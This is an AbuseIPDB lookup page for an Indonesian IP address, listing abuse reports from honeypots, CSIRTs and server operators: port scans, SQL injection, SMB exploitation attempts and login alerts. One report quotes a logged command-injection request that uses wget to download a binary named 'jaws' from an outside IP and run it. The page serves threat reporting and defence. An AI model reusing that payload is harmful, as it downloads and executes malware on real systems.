JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 103.154.24.2

103.154.24.2 was found in our database!

This IP was reported 40 times. Confidence of Abuse is 32%: ?

32%

ISP	PT Hijrah Muara Sintetis
Usage Type	Fixed Line ISP
ASN	AS140478
Domain Name	hijrah.net.id
Country	🇮🇩 Indonesia
City	Selong, West Nusa Tenggara

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 103.154.24.2

Whois 103.154.24.2

IP Abuse Reports for 103.154.24.2:

This IP address has been reported a total of 40 times from 22 distinct sources. 103.154.24.2 was first reported on August 9th 2021, and the most recent report was 3 days ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
Anonymous	2026-07-20 03:10:14 (3 days ago)	\| [Dangerous/Indonesia] Aggressive IP 103.154.24.2 (~30 hits). Type: DoS Defender- Web server 400 er ... show more \| [Dangerous/Indonesia] Aggressive IP 103.154.24.2 (~30 hits). Type: DoS Defender- Web server 400 error code show less	Web App Attack Hacking SQL Injection
🇮🇩 sockominfo	2026-06-27 02:00:58 (3 weeks ago)	User login to application from malicious IP 103.154.24.2.. Threat Score: 4.2/10 (MEDIUM). Confidence ... show more User login to application from malicious IP 103.154.24.2.. Threat Score: 4.2/10 (MEDIUM). Confidence: 40%. CVSS v3.1: 0/10 (None). CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:N. Bayesian Probability: 52%. MITRE ATT&CK: T1016 (System Network Configuration Discovery). Tactic: TA0001. Freshness: Very Fresh. Source Reputation: UNKNOWN. Methodology: CVSS 3.1 + Bayesian + Temporal + Environmental + MITRE ATT&CK + OWASP. Standards: ISO/IEC 27065:2022, NIST SP 800-30, IEEE S&P 2020. Reported by TangerangKota-CSIRT. Status: MALICIOUS show less	Hacking Web App Attack
🇬🇧 PeravixGroup	2026-06-27 01:49:47 (3 weeks ago)	Honeypot detection: SMB / Windows file sharing exploitation attempt on port 445. Severity: HIGH. Aar ... show more Honeypot detection: SMB / Windows file sharing exploitation attempt on port 445. Severity: HIGH. Aaran.cloud show less	Hacking Exploited Host
🇩🇪 Vegascosmetics	2026-06-23 19:08:57 (4 weeks ago)	(Kingcopy.org-AI-IDS-Report):IP automatically blocked after obfuscated redirect. Vegas Security	DDoS Attack Hacking Exploited Host
🇮🇩 sockominfo	2026-06-22 04:00:08 (1 month ago)	User login to application from malicious IP 103.154.24.2.. Threat Score: 0/10 (INFORMATIONAL). Repor ... show more User login to application from malicious IP 103.154.24.2.. Threat Score: 0/10 (INFORMATIONAL). Reported by TangerangKota-CSIRT show less	Hacking Web App Attack
🇮🇩 sockominfo	2026-06-20 05:00:53 (1 month ago)	User login to application from malicious IP 103.154.24.2.. Threat Score: 4/10 (MEDIUM). Confidence: ... show more User login to application from malicious IP 103.154.24.2.. Threat Score: 4/10 (MEDIUM). Confidence: 40%. CVSS v3.1: 0/10 (None). CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:N. Bayesian Probability: 68%. MITRE ATT&CK: T1016 (System Network Configuration Discovery). Tactic: TA0001. Freshness: Moderate. Source Reputation: UNKNOWN. Methodology: CVSS 3.1 + Bayesian + Temporal + Environmental + MITRE ATT&CK + OWASP. Standards: ISO/IEC 27065:2022, NIST SP 800-30, IEEE S&P 2020. Reported by TangerangKota-CSIRT. Status: MALICIOUS show less	Hacking Web App Attack
🇮🇩 sockominfo	2026-06-20 04:00:57 (1 month ago)	User login to application from malicious IP 103.154.24.2.. Threat Score: 4.1/10 (MEDIUM). Confidence ... show more User login to application from malicious IP 103.154.24.2.. Threat Score: 4.1/10 (MEDIUM). Confidence: 40%. CVSS v3.1: 0/10 (None). CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:N. Bayesian Probability: 68%. MITRE ATT&CK: T1016 (System Network Configuration Discovery). Tactic: TA0001. Freshness: Fresh. Source Reputation: UNKNOWN. Methodology: CVSS 3.1 + Bayesian + Temporal + Environmental + MITRE ATT&CK + OWASP. Standards: ISO/IEC 27065:2022, NIST SP 800-30, IEEE S&P 2020. Reported by TangerangKota-CSIRT. Status: MALICIOUS show less	Hacking Web App Attack
🇮🇩 sockominfo	2026-06-20 03:00:53 (1 month ago)	User login to application from malicious IP 103.154.24.2.. Threat Score: 4.2/10 (MEDIUM). Confidence ... show more User login to application from malicious IP 103.154.24.2.. Threat Score: 4.2/10 (MEDIUM). Confidence: 40%. CVSS v3.1: 0/10 (None). CVSS Vector: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:N. Bayesian Probability: 68%. MITRE ATT&CK: T1016 (System Network Configuration Discovery). Tactic: TA0001. Freshness: Fresh. Source Reputation: UNKNOWN. Methodology: CVSS 3.1 + Bayesian + Temporal + Environmental + MITRE ATT&CK + OWASP. Standards: ISO/IEC 27065:2022, NIST SP 800-30, IEEE S&P 2020. Reported by TangerangKota-CSIRT. Status: MALICIOUS show less	Hacking Web App Attack
🇮🇩 sockominfo	2026-06-20 02:00:09 (1 month ago)	User login to application from malicious IP 103.154.24.2.. Threat Score: 0/10 (INFORMATIONAL). Repor ... show more User login to application from malicious IP 103.154.24.2.. Threat Score: 0/10 (INFORMATIONAL). Reported by TangerangKota-CSIRT show less	Hacking Web App Attack
🇦🇹 urnilxfgbez	2026-06-12 22:45:00 (1 month ago)	Last 24 Hours suspicious: (DPT=445\|DPT=3389\|DPT=22\|DPT=3306\|DPT=8080\|DPT=23\|DPT=5900\|DPT=1433)	Port Scan
🇬🇧 PeravixGroup	2026-06-12 02:24:24 (1 month ago)	Honeypot detection: SMB / Windows file sharing exploitation attempt on port 445. Severity: HIGH. Aar ... show more Honeypot detection: SMB / Windows file sharing exploitation attempt on port 445. Severity: HIGH. Aaran.cloud show less	Hacking Exploited Host
🇬🇧 PeravixGroup	2026-06-10 00:20:04 (1 month ago)	Honeypot detection: SMB / Windows file sharing exploitation attempt on port 445. Severity: HIGH. Aar ... show more Honeypot detection: SMB / Windows file sharing exploitation attempt on port 445. Severity: HIGH. Aaran.cloud show less	Hacking Exploited Host
🇪🇹 AlienBase	2026-06-05 12:06:00 (1 month ago)	Remote Code Execution 103.154.24.2 - - [04/Jun/2026:13:15:11 +0000] "GET /shell?cd+/tmp;rm+-rf+;wg ... show more Remote Code Execution 103.154.24.2 - - [04/Jun/2026:13:15:11 +0000] "GET /shell?cd+/tmp;rm+-rf+;wget+ 140.233.190.47/jaws;chmod+777+jaws;sh+jaws;./jaws; HTTP/1.1" 400 150 "-" "-" show less	Bad Web Bot SSH Hacking
🇺🇸 MPL	2026-06-04 16:30:06 (1 month ago)	tcp/5554	Port Scan
🇫🇷 evvsk	2026-06-04 15:24:07 (1 month ago)	6666/tcp	Port Scan

Showing 1 to 15 of 40 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 2607:ff10:c8:594::7

🇺🇸 192.159.99.144

🇸🇬 172.70.208.155

🇸🇬 157.245.60.203

🇫🇮 147.185.133.90

🇮🇳 103.93.37.178

🇹🇭 49.0.87.195

🇺🇸 47.77.235.14

🇳🇱 45.142.193.164

🇵🇰 39.38.84.103

🇸🇬 172.68.164.171

🇸🇪 158.174.210.161

🇮🇳 116.72.105.234

🇮🇳 115.243.248.82

🇿🇦 102.64.43.134

🇧🇬 91.148.190.150

🇧🇪 34.77.69.141

🇸🇬 172.69.166.126

🇹🇭 171.6.10.208

🇩🇪 167.94.146.44